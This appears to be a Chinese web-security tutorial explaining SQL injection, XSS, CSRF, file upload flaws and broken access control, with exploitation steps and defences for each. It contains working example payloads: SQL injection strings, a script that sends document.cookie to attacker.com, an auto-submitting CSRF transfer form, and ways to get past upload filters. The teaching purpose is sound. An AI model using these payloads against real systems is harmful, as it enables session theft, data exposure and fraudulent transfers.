当前位置：首页 > news >正文

常见Web安全漏洞全解析：从原理到防御的实战指南

news 2025/11/1 14:07:57

Web安全是网络安全的核心领域之一。了解常见漏洞的工作原理、潜在危害、攻击者如何利用它们以及如何有效防御，对于开发人员、安全工程师和运维人员都至关重要。本文将深入剖析以下几类高危漏洞：

SQL注入
跨站脚本
跨站请求伪造
文件上传漏洞
失效的访问控制

一、SQL注入 - 数据库的“万能钥匙”

1. 原理剖析

SQL注入的核心在于：Web应用程序未能正确验证和过滤用户输入，导致攻击者可以将恶意的SQL代码“注入”到后端的数据库查询语句中，并被数据库执行。

简单来说，程序错误地将用户输入的“数据”当成了“代码”的一部分。

漏洞代码示例（PHP）：

// 从表单获取用户输入
$username = $_POST['username'];
// 直接将用户输入拼接到SQL语句中，这是极度危险的做法！
$sql = "SELECT * FROM users WHERE username = '$username'";

正常情况：用户输入 admin，SQL语句为 SELECT * FROM users WHERE username = 'admin'，正确执行。
攻击情况：用户输入 admin' -- （注意--后面有个空格），SQL语句变为：
```
SELECT * FROM users WHERE username = 'admin' -- '
```
-- 在SQL中表示注释，它会使后面的所有内容（包括原本的密码检查部分）被忽略。攻击者从而可以绕过密码验证，直接以管理员身份登录。

2. 危害与影响

数据泄露：窃取用户信息、个人隐私、商业数据等。
数据篡改：非法修改数据库内容，如订单金额、用户余额。
数据删除：执行 DROP TABLE 等操作，导致业务瘫痪，数据丢失。
权限提升：获取数据库管理员权限，进而控制整个应用。
服务器沦陷：在某些数据库配置下（如SQL Server的xp_cmdshell），可执行系统命令，完全控制服务器。

3. 利用流程

寻找注入点：在登录框、搜索框、URL参数等所有向服务器传递参数的地方进行测试。
判断漏洞：提交单引号 ‘，如果页面返回数据库错误信息，则可能存在SQL注入。
确定字段数：使用 ORDER BY 子句猜测查询结果包含多少列。
联合查询窃取信息：使用 UNION SELECT 语句，将数据库本身的信息（如版本、表名）回显到页面上。
- 示例Payload：' UNION SELECT 1, version(), database() --
提取数据：一步步获取所有表名、字段名，最终拖走全部数据。

4. 防御方案

首选方案：预编译语句（参数化查询）
这是最有效、最根本的防御手段。它将SQL代码的结构与数据分离开来，数据无论如何都会被当作普通参数处理，而不会成为代码的一部分。

// Java示例
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, username); // 安全地设置参数
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();

输入验证与过滤：对用户输入进行严格的白名单验证（只允许特定字符）或转义特殊字符（如单引号），但此法不如预编译可靠，易被绕过。
最小权限原则：为数据库连接账户分配仅能满足其功能的最小权限，绝对避免使用root或sa等高权限账户。
Web应用防火墙（WAF）：作为辅助防御，可以基于规则库拦截常见的SQL注入攻击特征。

二、跨站脚本 - 客户端脚本的“劫持者”

1. 原理剖析

XSS允许攻击者将恶意的JavaScript代码注入到其他用户信任的网页中。当受害者的浏览器访问这个被“投毒”的页面时，恶意脚本就会执行，从而在用户的上下文中进行恶意操作。

XSS主要分为三类：

反射型XSS：恶意脚本作为请求（如一个恶意链接）的一部分发给服务器，服务器立即将其“反射”回页面并执行。需要诱骗用户点击链接。
存储型XSS：恶意脚本被永久地存储在服务器（如数据库、论坛帖子、评论），所有访问该页面的用户都会中招。危害最大。
DOM型XSS：漏洞纯发生在客户端JavaScript处理数据的过程中，恶意脚本通过修改页面的DOM结构来执行，不经过服务器。

2. 危害与影响

盗取用户Cookie：通过 document.cookie 窃取用户的会话标识，从而冒充用户登录。
钓鱼攻击：在页面上伪造登录框，诱骗用户输入账号密码。
键盘记录：监听用户的键盘输入。
劫持用户会话：执行任意操作，如发帖、转账、修改资料。
挂马：引导用户下载木马或访问恶意网站。

3. 利用流程与实例

寻找输入点：在留言板、搜索框、个人信息等任何用户输入能回显到页面的地方测试。
注入测试脚本：提交 ``，如果浏览器弹窗，则证明存在XSS。
构造恶意载荷：编写具有实际危害的脚本。
- 盗取Cookie示例：
```
<script>
var img = new Image();
img.src = 'http://attacker.com/steal.php?cookie=' + encodeURIComponent(document.cookie);
</script>
```
这段脚本会向攻击者控制的服务器(attacker.com)发送一个携带用户Cookie的请求。

4. 防御方案

对输出进行编码/转义：这是核心防御。在将用户输入的数据显示到页面前，根据其出现的上下文进行编码。
- HTML内容：将 < 转义为 <，> 转义为 >。
- HTML属性：将 " 转义为 "。
- 推荐使用成熟的库（如OWASP ESAPI）来完成转义。
使用内容安全策略（CSP）：一种强大的深度防御策略。通过HTTP响应头 Content-Security-Policy 告诉浏览器只允许加载和执行来自特定可信源的脚本、样式等资源。
- 示例：Content-Security-Policy: default-src 'self'; 表示只允许加载同源资源。
设置HttpOnly Cookie：为会话Cookie设置HttpOnly属性，JavaScript将无法读取该Cookie，即使发生XSS，攻击者也无法直接盗取Cookie。

三、跨站请求伪造 - 冒充用户的“隐身刺客”

1. 原理剖析

CSRF攻击利用用户已登录目标网站（如网上银行）的状态，诱骗其访问一个恶意页面。该页面会自动向目标网站发起一个请求（如转账请求）。由于浏览器会自动携带用户在目标网站的登录Cookie，服务器会认为这是一个合法的用户自愿发起的请求。

简单比喻：你登录了银行网站A，然后不小心访问了恶意网站B。B站上有一个隐藏表单，会自动向A站的转账接口提交请求。因为你的浏览器存有A站的Cookie，这个转账请求就会被A站认为是“你”自己操作的。

2. 危害与影响

以用户身份执行非预期操作：如修改密码、转账、购物、发布内容、删除数据。
账户被接管：攻击者可通过CSRF修改你的绑定邮箱或密码，从而完全控制账户。
业务逻辑被滥用：对电商、金融平台造成直接经济损失。

3. 利用流程与实例

用户登录 vulnerable-bank.com，会话Cookie有效。
用户被诱导点击一个链接，访问攻击者构造的页面 evil.com/csrf.html。

该页面包含一个自动提交的隐藏表单：

<form action="http://vulnerable-bank.com/transfer" method="POST"><input type="hidden" name="toAccount" value="ATTACKER_ACCOUNT"><input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit(); // 页面加载后自动提交表单
</script>

用户的浏览器携带Cookie向银行服务器发送转账请求，操作被执行。

4. 防御方案

使用Anti-CSRF Token（同步令牌模式）：最有效的方法。
- 原理：在表单中或通过HTTP头（如X-CSRF-TOKEN）添加一个随机的、不可预测的Token，该Token与当前用户会话关联。服务器处理请求时验证此Token。恶意网站无法获取或预测这个Token，因此其构造的请求会被拒绝。
检查同源策略头：验证请求头中的 Origin 或 Referer 字段，确认请求是否来自合法的源（域名）。但Referer可能被浏览器隐私设置过滤。
关键操作使用二次验证：对于转账、改密等敏感操作，要求用户再次输入密码或进行短信/邮箱验证。

四、文件上传漏洞 - 系统大门的“后门钥匙”

1. 原理剖析

当Web应用允许用户上传文件，但未对上传文件的类型、内容、扩展名、大小等进行严格限制和检查时，攻击者可能上传一个恶意的可执行文件（如Webshell），从而在服务器上获得执行命令的能力。

2. 危害与影响

网站完全沦陷：上传Webshell（如PHP/JSP一句话木马），从而远程控制服务器。
进一步内网渗透：以被攻陷的服务器为跳板，攻击内网其他系统。
被用作恶意软件分发站：存储和传播木马、病毒、钓鱼页面。
消耗服务器资源：上传大量文件导致磁盘空间耗尽（拒绝服务攻击）。

3. 利用流程与实例

直接上传Webshell：如果服务器毫无防护，直接上传一个.php文件。
- 一句话木马示例（PHP）：``。攻击者可用工具通过pass参数执行任意命令。
绕过检查：
- 绕过前端检查：使用Burp Suite等工具拦截请求，修改Content-Type或文件扩展名。
- 绕过黑名单：尝试上传.phtml, .php5, .phar等少见扩展名。
- 利用解析漏洞：如IIS的/abc.asp;.jpg解析漏洞，该文件会被当作ASP脚本来执行。

4. 防御方案

白名单验证：只允许上传业务必需的文件类型（如仅.jpg, .png, .pdf），并同时检查文件扩展名和MIME类型。严禁使用容易被绕过的黑名单。
文件重命名：对上传的文件进行随机化重命名（如使用UUID），避免攻击者直接访问已知的恶意文件名。
控制上传目录的执行权限：通过Web服务器（如Nginx/Apache）配置，确保存储用户上传文件的目录无法执行任何脚本。
对文件内容进行安全检查：如图片进行二次压缩或缩放；对上传的文件进行病毒扫描。
控制文件大小：限制上传文件的大小，防止资源耗尽攻击。

五、失效的访问控制 - 越权的“隐形门”

1. 原理剖析

访问控制是指系统对用户能够访问的资源或执行的操作进行的限制。当这些限制未能正确实施时，用户就能执行其本无权执行的操作。

主要类型：

垂直越权：低权限用户（如普通用户）能够访问高权限用户（如管理员）的功能（如后台管理页面）。
水平越权：同一权限级别的用户A能够访问用户B的私有数据（如通过修改URL参数/order?id=100为/order?id=101来查看他人订单）。
不安全的直接对象引用（IDOR）：是水平越权的一种常见形式，应用程序在URL或参数中直接暴露了数据库记录的内部标识（如自增ID）。

2. 危害与影响

数据大规模泄露：通过水平越权，可能遍历获取所有用户数据。
权限失控：通过垂直越权，普通用户获得超级管理员权限，后果灾难性。
业务功能被滥用：非授权操作核心业务逻辑。

3. 利用流程与实例

用户A（用户ID=123）登录后，访问自己的订单列表URL为：/api/orders?user_id=123。
用户A出于好奇或恶意，将URL中的user_id参数修改为124，即访问 /api/orders?user_id=124。
如果服务器后端没有检查当前登录用户（ID=123）是否有权访问用户ID=124的订单数据，并直接返回了数据，则存在严重的水平越权漏洞。

4. 防御方案

强制实施权限检查：在每一个服务器端接口处，都必须对当前登录用户的身份和权限进行验证。永远不要信任客户端传来的任何关于用户身份和权限的信息。
避免直接暴露内部标识：使用随机的、不可预测的GUID来代替自增ID。或者，后端代码始终基于当前登录用户的会话ID来查询其数据，而不是使用客户端传来的目标ID。
- 正确代码逻辑：SELECT * FROM orders WHERE user_id = current_user_id; （current_user_id从会话中获取）
默认拒绝原则：默认情况下拒绝所有请求，只有显式允许的请求才能通过。